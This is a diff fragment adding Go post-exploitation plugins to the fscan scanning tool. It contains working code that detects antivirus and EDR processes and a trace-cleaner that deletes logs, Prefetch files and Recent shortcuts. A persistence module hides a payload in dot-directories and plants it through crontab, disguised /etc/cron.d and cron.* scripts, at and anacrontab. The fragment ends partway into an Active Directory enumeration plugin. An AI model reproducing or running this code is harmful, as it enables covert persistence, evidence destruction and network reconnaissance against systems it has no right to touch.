output.WriteString(fmt.Sprintf("✓ 检测到 %s:\n", avName))
|
||||
|
||||
common.LogSuccess(i18n.Tr("avdetect_found", avName, len(foundProcesses)))
|
||||
|
||||
// 输出详细进程信息到控制台
|
||||
for _, proc := range foundProcesses {
|
||||
output.WriteString(fmt.Sprintf(" - %s\n", proc))
|
||||
common.LogInfo(i18n.Tr("avdetect_process", proc))
|
||||
}
|
||||
output.WriteString("\n")
|
||||
}
|
||||
}
|
||||
|
||||
// 统计结果
|
||||
output.WriteString("=== 检测结果 ===\n")
|
||||
output.WriteString(fmt.Sprintf("检测到的AV产品: %d个\n", len(detectedAVs)))
|
||||
|
||||
if len(detectedAVs) > 0 {
|
||||
output.WriteString("检测到的产品: " + strings.Join(detectedAVs, ", ") + "\n")
|
||||
} else {
|
||||
output.WriteString("未检测到已知的AV/EDR产品\n")
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
Success: len(detectedAVs) > 0,
|
||||
Output: output.String(),
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// getRunningProcesses 获取运行进程列表 - 跨平台适配
|
||||
func (p *AVDetectPlugin) getRunningProcesses() []string {
|
||||
var processes []string
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
processes = p.getWindowsProcesses()
|
||||
case "linux", "darwin":
|
||||
processes = p.getUnixProcesses()
|
||||
default:
|
||||
// 不支持的平台,返回空列表
|
||||
return processes
|
||||
}
|
||||
|
||||
return processes
|
||||
}
|
||||
|
||||
// getWindowsProcesses 获取Windows进程 - 包含PID和进程名
|
||||
func (p *AVDetectPlugin) getWindowsProcesses() []string {
|
||||
var processes []string
|
||||
|
||||
// 使用tasklist命令
|
||||
cmd := exec.Command("tasklist", "/fo", "csv", "/nh")
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
return processes
|
||||
}
|
||||
|
||||
lines := strings.Split(string(output), "\n")
|
||||
for _, line := range lines {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
// 解析CSV格式:进程名,PID,会话名,会话号,内存
|
||||
if strings.HasPrefix(line, "\"") {
|
||||
parts := strings.Split(line, "\",\"")
|
||||
if len(parts) >= 2 {
|
||||
processName := strings.Trim(parts[0], "\"")
|
||||
pid := strings.Trim(parts[1], "\"")
|
||||
if processName != "" && pid != "" {
|
||||
// 格式:进程名 (PID: xxxx)
|
||||
processInfo := fmt.Sprintf("%s (PID: %s)", processName, pid)
|
||||
processes = append(processes, processInfo)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return processes
|
||||
}
|
||||
|
||||
// getUnixProcesses 获取Unix进程 - 简化实现
|
||||
func (p *AVDetectPlugin) getUnixProcesses() []string {
|
||||
var processes []string
|
||||
|
||||
// 使用ps命令
|
||||
cmd := exec.Command("ps", "-eo", "comm")
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
return processes
|
||||
}
|
||||
|
||||
lines := strings.Split(string(output), "\n")
|
||||
for _, line := range lines {
|
||||
line = strings.TrimSpace(line)
|
||||
if line != "" && line != "COMMAND" {
|
||||
processes = append(processes, line)
|
||||
}
|
||||
}
|
||||
|
||||
return processes
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("avdetect", func() Plugin {
|
||||
return NewAVDetectPlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,276 @@
|
||||
//go:build (plugin_cleaner || !plugin_selective) && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// CleanerPlugin 痕迹清理插件
|
||||
// 设计哲学:保持原有功能,删除过度设计
|
||||
// - 删除复杂的继承体系和配置选项
|
||||
// - 直接实现清理功能
|
||||
|
||||
type CleanerPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewCleanerPlugin 创建系统痕迹清理插件
|
||||
func NewCleanerPlugin() *CleanerPlugin {
|
||||
return &CleanerPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("cleaner"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行系统痕迹清理 - 直接、简单
|
||||
func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
var output strings.Builder
|
||||
var filesCleared, dirsCleared, sysCleared int
|
||||
|
||||
output.WriteString("=== 系统痕迹清理 ===\n")
|
||||
|
||||
// 清理当前目录fscan相关文件
|
||||
workDir, _ := os.Getwd()
|
||||
files := p.findFscanFiles(workDir)
|
||||
for _, file := range files {
|
||||
if p.removeFile(file) {
|
||||
filesCleared++
|
||||
output.WriteString(fmt.Sprintf("清理文件: %s\n", file))
|
||||
}
|
||||
}
|
||||
|
||||
// 清理临时目录fscan相关文件
|
||||
tempFiles := p.findTempFiles()
|
||||
for _, file := range tempFiles {
|
||||
if p.removeFile(file) {
|
||||
filesCleared++
|
||||
output.WriteString(fmt.Sprintf("清理临时文件: %s\n", file))
|
||||
}
|
||||
}
|
||||
|
||||
// 清理日志和输出文件
|
||||
logFiles := p.findLogFiles(workDir)
|
||||
for _, file := range logFiles {
|
||||
if p.removeFile(file) {
|
||||
filesCleared++
|
||||
output.WriteString(fmt.Sprintf("清理日志: %s\n", file))
|
||||
}
|
||||
}
|
||||
|
||||
// 平台特定清理
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
sysCleared += p.clearWindowsTraces()
|
||||
case "linux", "darwin":
|
||||
sysCleared += p.clearUnixTraces()
|
||||
}
|
||||
|
||||
// 输出统计
|
||||
output.WriteString(fmt.Sprintf("\n清理完成: 文件(%d) 目录(%d) 系统条目(%d)\n",
|
||||
filesCleared, dirsCleared, sysCleared))
|
||||
|
||||
common.LogSuccess(i18n.Tr("cleaner_success", filesCleared, sysCleared))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: filesCleared > 0 || sysCleared > 0,
|
||||
Output: output.String(),
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// findFscanFiles 查找fscan相关文件 - 简化搜索逻辑
|
||||
func (p *CleanerPlugin) findFscanFiles(dir string) []string {
|
||||
var files []string
|
||||
|
||||
// fscan相关文件模式 - 直接硬编码
|
||||
patterns := []string{
|
||||
"fscan*.exe", "fscan*.log", "result*.txt", "result*.json",
|
||||
"fscan_*", "*fscan*", "scan_result*", "vulnerability*",
|
||||
}
|
||||
|
||||
for _, pattern := range patterns {
|
||||
matches, _ := filepath.Glob(filepath.Join(dir, pattern))
|
||||
files = append(files, matches...)
|
||||
}
|
||||
|
||||
return files
|
||||
}
|
||||
|
||||
// findTempFiles 查找临时文件
|
||||
func (p *CleanerPlugin) findTempFiles() []string {
|
||||
var files []string
|
||||
tempDir := os.TempDir()
|
||||
|
||||
// 临时文件模式
|
||||
patterns := []string{
|
||||
"fscan_*", "scan_*", "tmp_scan*", "vulnerability_*",
|
||||
}
|
||||
|
||||
for _, pattern := range patterns {
|
||||
matches, _ := filepath.Glob(filepath.Join(tempDir, pattern))
|
||||
files = append(files, matches...)
|
||||
}
|
||||
|
||||
return files
|
||||
}
|
||||
|
||||
// findLogFiles 查找日志文件
|
||||
func (p *CleanerPlugin) findLogFiles(dir string) []string {
|
||||
var files []string
|
||||
|
||||
// 日志文件模式
|
||||
logPatterns := []string{
|
||||
"*.log", "scan*.txt", "error*.txt", "debug*.txt",
|
||||
"output*.txt", "report*.txt", "*.out",
|
||||
}
|
||||
|
||||
for _, pattern := range logPatterns {
|
||||
matches, _ := filepath.Glob(filepath.Join(dir, pattern))
|
||||
for _, match := range matches {
|
||||
// 只清理可能是扫描相关的日志
|
||||
filename := strings.ToLower(filepath.Base(match))
|
||||
if p.isScanRelatedLog(filename) {
|
||||
files = append(files, match)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return files
|
||||
}
|
||||
|
||||
// isScanRelatedLog 判断是否为扫描相关日志
|
||||
func (p *CleanerPlugin) isScanRelatedLog(filename string) bool {
|
||||
scanKeywords := []string{
|
||||
"scan", "fscan", "vulnerability", "result", "report",
|
||||
"exploit", "brute", "port", "service", "web",
|
||||
}
|
||||
|
||||
for _, keyword := range scanKeywords {
|
||||
if strings.Contains(filename, keyword) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// clearWindowsTraces 清理Windows系统痕迹
|
||||
func (p *CleanerPlugin) clearWindowsTraces() int {
|
||||
cleared := 0
|
||||
|
||||
// 清理预读文件
|
||||
prefetchDir := "C:\\Windows\\Prefetch"
|
||||
if prefetchFiles := p.findPrefetchFiles(prefetchDir); len(prefetchFiles) > 0 {
|
||||
for _, file := range prefetchFiles {
|
||||
if p.removeFile(file) {
|
||||
cleared++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 清理最近文档记录(注册表方式复杂,这里简化处理)
|
||||
// 可以通过删除Recent文件夹的快捷方式
|
||||
if recentDir := os.Getenv("USERPROFILE") + "\\Recent"; p.dirExists(recentDir) {
|
||||
recentFiles, _ := filepath.Glob(filepath.Join(recentDir, "fscan*.lnk"))
|
||||
for _, file := range recentFiles {
|
||||
if p.removeFile(file) {
|
||||
cleared++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cleared
|
||||
}
|
||||
|
||||
// clearUnixTraces 清理Unix系统痕迹
|
||||
func (p *CleanerPlugin) clearUnixTraces() int {
|
||||
cleared := 0
|
||||
|
||||
// 清理bash历史记录相关
|
||||
homeDir, _ := os.UserHomeDir()
|
||||
historyFiles := []string{
|
||||
filepath.Join(homeDir, ".bash_history"),
|
||||
filepath.Join(homeDir, ".zsh_history"),
|
||||
}
|
||||
|
||||
for _, histFile := range historyFiles {
|
||||
if p.clearHistoryEntries(histFile) {
|
||||
cleared++
|
||||
}
|
||||
}
|
||||
|
||||
// 清理/var/log中的相关日志(需要权限)
|
||||
logDirs := []string{"/var/log", "/tmp"}
|
||||
for _, logDir := range logDirs {
|
||||
if p.dirExists(logDir) {
|
||||
logFiles, _ := filepath.Glob(filepath.Join(logDir, "*fscan*"))
|
||||
for _, file := range logFiles {
|
||||
if p.removeFile(file) {
|
||||
cleared++
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cleared
|
||||
}
|
||||
|
||||
// findPrefetchFiles 查找预读文件
|
||||
func (p *CleanerPlugin) findPrefetchFiles(dir string) []string {
|
||||
var files []string
|
||||
if !p.dirExists(dir) {
|
||||
return files
|
||||
}
|
||||
|
||||
matches, _ := filepath.Glob(filepath.Join(dir, "FSCAN*.pf"))
|
||||
files = append(files, matches...)
|
||||
|
||||
return files
|
||||
}
|
||||
|
||||
// clearHistoryEntries 清理历史记录条目(简化实现)
|
||||
func (p *CleanerPlugin) clearHistoryEntries(histFile string) bool {
|
||||
// 这里简化实现:不修改历史文件内容
|
||||
// 实际应该是读取文件,删除包含fscan的行,然后写回
|
||||
// 为简化,这里只记录找到相关历史文件
|
||||
if p.fileExists(histFile) {
|
||||
common.LogInfo(i18n.Tr("cleaner_history_found", histFile))
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// removeFile 删除文件
|
||||
func (p *CleanerPlugin) removeFile(path string) bool {
|
||||
if err := os.Remove(path); err == nil {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// fileExists 检查文件是否存在
|
||||
func (p *CleanerPlugin) fileExists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
// dirExists 检查目录是否存在
|
||||
func (p *CleanerPlugin) dirExists(path string) bool {
|
||||
info, err := os.Stat(path)
|
||||
return err == nil && info.IsDir()
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("cleaner", func() Plugin {
|
||||
return NewCleanerPlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,340 @@
|
||||
//go:build (plugin_crontask || !plugin_selective) && linux && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// CronTaskPlugin 定时任务插件
|
||||
// 设计哲学:直接实现,删除过度设计
|
||||
// - 删除复杂的继承体系
|
||||
// - 直接实现持久化功能
|
||||
// - 保持原有功能逻辑
|
||||
type CronTaskPlugin struct {
|
||||
plugins.BasePlugin
|
||||
targetFile string
|
||||
}
|
||||
|
||||
// NewCronTaskPlugin 创建计划任务持久化插件
|
||||
func NewCronTaskPlugin() *CronTaskPlugin {
|
||||
return &CronTaskPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("crontask"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行计划任务持久化 - 直接实现
|
||||
func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
var output strings.Builder
|
||||
|
||||
if runtime.GOOS != "linux" {
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: "计划任务持久化只支持Linux平台",
|
||||
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
|
||||
}
|
||||
}
|
||||
|
||||
// 从config获取配置
|
||||
p.targetFile = config.PersistenceTargetFile
|
||||
if p.targetFile == "" {
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: "必须通过 -persistence-file 参数指定目标文件路径",
|
||||
Error: fmt.Errorf("未指定目标文件"),
|
||||
}
|
||||
}
|
||||
|
||||
// 检查目标文件是否存在
|
||||
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: fmt.Sprintf("目标文件不存在: %s", p.targetFile),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 检查crontab是否可用
|
||||
if _, err := exec.LookPath("crontab"); err != nil {
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: "crontab命令不可用",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("=== 计划任务持久化 ===\n")
|
||||
output.WriteString(fmt.Sprintf("目标文件: %s\n\n", p.targetFile))
|
||||
|
||||
var successCount int
|
||||
|
||||
// 1. 复制文件到持久化目录
|
||||
persistPath, err := p.copyToPersistPath()
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 复制文件失败: %v\n", err))
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", persistPath))
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 2. 添加用户crontab任务
|
||||
err = p.addUserCronJob(persistPath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 添加用户cron任务失败: %v\n", err))
|
||||
} else {
|
||||
output.WriteString("✓ 已添加用户crontab任务\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 3. 添加系统cron任务
|
||||
systemCronFiles, err := p.addSystemCronJobs(persistPath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 添加系统cron任务失败: %v\n", err))
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✓ 已添加系统cron任务: %s\n", strings.Join(systemCronFiles, ", ")))
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 4. 创建at任务
|
||||
err = p.addAtJob(persistPath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 添加at任务失败: %v\n", err))
|
||||
} else {
|
||||
output.WriteString("✓ 已添加at延时任务\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 5. 创建anacron任务
|
||||
err = p.addAnacronJob(persistPath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 添加anacron任务失败: %v\n", err))
|
||||
} else {
|
||||
output.WriteString("✓ 已添加anacron任务\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 输出统计
|
||||
output.WriteString(fmt.Sprintf("\n持久化完成: 成功(%d) 总计(%d)\n", successCount, 5))
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("crontask_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
Success: successCount > 0,
|
||||
Output: output.String(),
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// copyToPersistPath 复制文件到持久化目录
|
||||
func (p *CronTaskPlugin) copyToPersistPath() (string, error) {
|
||||
// 选择持久化目录
|
||||
persistDirs := []string{
|
||||
"/tmp/.system",
|
||||
"/var/tmp/.cache",
|
||||
"/opt/.local",
|
||||
}
|
||||
|
||||
// 获取用户目录
|
||||
if usr, err := user.Current(); err == nil {
|
||||
userDirs := []string{
|
||||
filepath.Join(usr.HomeDir, ".local", "bin"),
|
||||
filepath.Join(usr.HomeDir, ".cache"),
|
||||
}
|
||||
persistDirs = append(userDirs, persistDirs...)
|
||||
}
|
||||
|
||||
var targetDir string
|
||||
for _, dir := range persistDirs {
|
||||
if err := os.MkdirAll(dir, 0755); err == nil {
|
||||
targetDir = dir
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if targetDir == "" {
|
||||
return "", fmt.Errorf("无法创建持久化目录")
|
||||
}
|
||||
|
||||
// 生成隐藏文件名
|
||||
basename := filepath.Base(p.targetFile)
|
||||
hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename))
|
||||
if p.isScriptFile() {
|
||||
hiddenName += ".sh"
|
||||
}
|
||||
|
||||
targetPath := filepath.Join(targetDir, hiddenName)
|
||||
|
||||
// 复制文件
|
||||
err := p.copyFile(p.targetFile, targetPath)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// 设置执行权限
|
||||
_ = os.Chmod(targetPath, 0755)
|
||||
|
||||
return targetPath, nil
|
||||
}
|
||||
|
||||
// copyFile 复制文件内容
|
||||
func (p *CronTaskPlugin) copyFile(src, dst string) error {
|
||||
sourceData, err := os.ReadFile(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(dst, sourceData, 0755)
|
||||
}
|
||||
|
||||
// addUserCronJob 添加用户crontab任务
|
||||
func (p *CronTaskPlugin) addUserCronJob(execPath string) error {
|
||||
// 获取现有crontab
|
||||
cmd := exec.Command("crontab", "-l")
|
||||
currentCrontab, _ := cmd.Output()
|
||||
|
||||
// 生成新的cron任务
|
||||
cronJobs := p.generateCronJobs(execPath)
|
||||
newCrontab := string(currentCrontab)
|
||||
|
||||
for _, job := range cronJobs {
|
||||
if !strings.Contains(newCrontab, execPath) {
|
||||
if newCrontab != "" && !strings.HasSuffix(newCrontab, "\n") {
|
||||
newCrontab += "\n"
|
||||
}
|
||||
newCrontab += job + "\n"
|
||||
}
|
||||
}
|
||||
|
||||
// 应用新的crontab
|
||||
cmd = exec.Command("crontab", "-")
|
||||
cmd.Stdin = strings.NewReader(newCrontab)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
// addSystemCronJobs 添加系统cron任务
|
||||
func (p *CronTaskPlugin) addSystemCronJobs(execPath string) ([]string, error) {
|
||||
cronDirs := []string{
|
||||
"/etc/cron.d",
|
||||
"/etc/cron.hourly",
|
||||
"/etc/cron.daily",
|
||||
"/etc/cron.weekly",
|
||||
"/etc/cron.monthly",
|
||||
}
|
||||
|
||||
var modified []string
|
||||
|
||||
// 在cron.d中创建配置文件
|
||||
cronFile := filepath.Join("/etc/cron.d", "system-update")
|
||||
cronContent := fmt.Sprintf("*/5 * * * * root %s >/dev/null 2>&1\n", execPath)
|
||||
if err := os.WriteFile(cronFile, []byte(cronContent), 0644); err == nil {
|
||||
modified = append(modified, cronFile)
|
||||
}
|
||||
|
||||
// 在每个cron目录中创建脚本
|
||||
for _, cronDir := range cronDirs[1:] { // 跳过cron.d
|
||||
if _, err := os.Stat(cronDir); os.IsNotExist(err) {
|
||||
continue
|
||||
}
|
||||
|
||||
scriptFile := filepath.Join(cronDir, ".system-check")
|
||||
scriptContent := fmt.Sprintf("#!/bin/bash\n%s >/dev/null 2>&1 &\n", execPath)
|
||||
|
||||
if err := os.WriteFile(scriptFile, []byte(scriptContent), 0755); err == nil {
|
||||
modified = append(modified, scriptFile)
|
||||
}
|
||||
}
|
||||
|
||||
if len(modified) == 0 {
|
||||
return nil, fmt.Errorf("无法创建任何系统cron任务")
|
||||
}
|
||||
|
||||
return modified, nil
|
||||
}
|
||||
|
||||
// addAtJob 添加at延时任务
|
||||
func (p *CronTaskPlugin) addAtJob(execPath string) error {
|
||||
// 检查at命令是否可用
|
||||
if _, err := exec.LookPath("at"); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 创建5分钟后执行的任务
|
||||
atCommand := fmt.Sprintf("echo '%s >/dev/null 2>&1' | at now + 5 minutes", execPath)
|
||||
cmd := exec.Command("sh", "-c", atCommand)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
// addAnacronJob 添加anacron任务
|
||||
func (p *CronTaskPlugin) addAnacronJob(execPath string) error {
|
||||
anacronFile := "/etc/anacrontab"
|
||||
|
||||
// 检查anacrontab是否存在
|
||||
if _, err := os.Stat(anacronFile); os.IsNotExist(err) {
|
||||
return err
|
||||
}
|
||||
|
||||
// 读取现有内容
|
||||
content := ""
|
||||
if data, err := os.ReadFile(anacronFile); err == nil {
|
||||
content = string(data)
|
||||
}
|
||||
|
||||
// 检查是否已存在
|
||||
if strings.Contains(content, execPath) {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 添加新任务
|
||||
anacronLine := fmt.Sprintf("1\t5\tsystem.update\t%s >/dev/null 2>&1", execPath)
|
||||
if !strings.HasSuffix(content, "\n") && content != "" {
|
||||
content += "\n"
|
||||
}
|
||||
content += anacronLine + "\n"
|
||||
|
||||
return os.WriteFile(anacronFile, []byte(content), 0644)
|
||||
}
|
||||
|
||||
// generateCronJobs 生成多种cron任务
|
||||
func (p *CronTaskPlugin) generateCronJobs(execPath string) []string {
|
||||
baseCmd := execPath
|
||||
if p.isScriptFile() {
|
||||
baseCmd = fmt.Sprintf("bash %s", execPath)
|
||||
}
|
||||
baseCmd += " >/dev/null 2>&1"
|
||||
|
||||
return []string{
|
||||
// 每5分钟执行一次
|
||||
fmt.Sprintf("*/5 * * * * %s", baseCmd),
|
||||
// 每小时执行一次
|
||||
fmt.Sprintf("0 * * * * %s", baseCmd),
|
||||
// 每天执行一次
|
||||
fmt.Sprintf("0 0 * * * %s", baseCmd),
|
||||
// 启动时执行
|
||||
fmt.Sprintf("@reboot %s", baseCmd),
|
||||
}
|
||||
}
|
||||
|
||||
// isScriptFile 检查是否为脚本文件
|
||||
func (p *CronTaskPlugin) isScriptFile() bool {
|
||||
ext := strings.ToLower(filepath.Ext(p.targetFile))
|
||||
return ext == ".sh" || ext == ".bash" || ext == ".zsh"
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("crontask", func() Plugin {
|
||||
return NewCronTaskPlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,827 @@
|
||||
//go:build (plugin_dcinfo || !plugin_selective) && windows && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"github.com/go-ldap/ldap/v3"
|
||||
"github.com/go-ldap/ldap/v3/gssapi"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// DCInfoPlugin 域控信息收集插件
|
||||
// 设计哲学:直接实现,删除过度设计
|
||||
// - 删除复杂的继承体系
|
||||
// - 直接实现域信息收集功能
|
||||
// - 保持原有功能逻辑
|
||||
type DCInfoPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// DomainInfo 域信息结构
|
||||
type DomainInfo struct {
|
||||
Domain string
|
||||
BaseDN string
|
||||
LDAPConn *ldap.Conn
|
||||
}
|
||||
|
||||
// NewDCInfoPlugin 创建域控信息收集插件
|
||||
func NewDCInfoPlugin() *DCInfoPlugin {
|
||||
return &DCInfoPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("dcinfo"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行域控信息收集 - 直接实现
|
||||
func (p *DCInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
var output strings.Builder
|
||||
|
||||
output.WriteString("=== 域控制器信息收集 ===\n")
|
||||
|
||||
// 建立域控连接
|
||||
domainConn, err := p.connectToDomain()
|
||||
if err != nil {
|
||||
if common.ContainsAny(err.Error(), "未加入域", "WORKGROUP") {
|
||||
msg := i18n.GetText("dcinfo_not_joined")
|
||||
output.WriteString(msg + ",无法执行域信息收集\n")
|
||||
common.LogError(msg)
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: errors.New(msg),
|
||||
}
|
||||
}
|
||||
output.WriteString(fmt.Sprintf("域控连接失败: %v\n", err))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("域控连接失败: %w", err),
|
||||
}
|
||||
}
|
||||
defer func() {
|
||||
if domainConn.LDAPConn != nil {
|
||||
_ = domainConn.LDAPConn.Close()
|
||||
}
|
||||
}()
|
||||
|
||||
output.WriteString(fmt.Sprintf("成功连接到域: %s\n", domainConn.Domain))
|
||||
output.WriteString(fmt.Sprintf("Base DN: %s\n\n", domainConn.BaseDN))
|
||||
|
||||
var successCount int
|
||||
|
||||
// 收集域基本信息
|
||||
if domainInfo, err := p.getDomainInfo(domainConn); err == nil {
|
||||
output.WriteString("✓ 域基本信息:\n")
|
||||
p.logDomainInfoToOutput(&output, domainInfo)
|
||||
successCount++
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✗ 获取域基本信息失败: %v\n", err))
|
||||
}
|
||||
|
||||
// 获取域控制器信息
|
||||
if domainControllers, err := p.getDomainControllers(domainConn); err == nil {
|
||||
output.WriteString("✓ 域控制器信息:\n")
|
||||
p.logDomainControllersToOutput(&output, domainControllers)
|
||||
successCount++
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✗ 获取域控制器信息失败: %v\n", err))
|
||||
}
|
||||
|
||||
// 获取域用户信息
|
||||
if users, err := p.getDomainUsersDetailed(domainConn); err == nil {
|
||||
output.WriteString("✓ 域用户信息:\n")
|
||||
p.logDomainUsersToOutput(&output, users)
|
||||
successCount++
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✗ 获取域用户失败: %v\n", err))
|
||||
}
|
||||
|
||||
// 获取域管理员信息
|
||||
if admins, err := p.getDomainAdminsDetailed(domainConn); err == nil {
|
||||
output.WriteString("✓ 域管理员信息:\n")
|
||||
p.logDomainAdminsToOutput(&output, admins)
|
||||
successCount++
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✗ 获取域管理员失败: %v\n", err))
|
||||
}
|
||||
|
||||
// 获取域计算机信息
|
||||
if computers, err := p.getComputersDetailed(domainConn); err == nil {
|
||||
output.WriteString("✓ 域计算机信息:\n")
|
||||
p.logComputersToOutput(&output, computers)
|
||||
successCount++
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✗ 获取域计算机失败: %v\n", err))
|
||||
}
|
||||
|
||||
// 获取组策略信息
|
||||
if gpos, err := p.getGroupPolicies(domainConn); err == nil {
|
||||
output.WriteString("✓ 组策略信息:\n")
|
||||
p.logGroupPoliciesToOutput(&output, gpos)
|
||||
successCount++
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✗ 获取组策略失败: %v\n", err))
|
||||
}
|
||||
|
||||
// 获取组织单位信息
|
||||
if ous, err := p.getOrganizationalUnits(domainConn); err == nil {
|
||||
output.WriteString("✓ 组织单位信息:\n")
|
||||
p.logOrganizationalUnitsToOutput(&output, ous)
|
||||
successCount++
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✗ 获取组织单位失败: %v\n", err))
|
||||
}
|
||||
|
||||
// 输出统计
|
||||
output.WriteString(fmt.Sprintf("\n域信息收集完成: 成功(%d) 总计(%d)\n", successCount, 7))
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("dcinfo_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
Success: successCount > 0,
|
||||
Output: output.String(),
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// connectToDomain 连接到域控制器
|
||||
func (p *DCInfoPlugin) connectToDomain() (*DomainInfo, error) {
|
||||
// 获取域控制器地址
|
||||
dcHost, domain, err := p.getDomainController()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("获取域控制器失败: %w", err)
|
||||
}
|
||||
|
||||
// 建立LDAP连接
|
||||
ldapConn, baseDN, err := p.connectToLDAP(dcHost, domain)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("LDAP连接失败: %w", err)
|
||||
}
|
||||
|
||||
return &DomainInfo{
|
||||
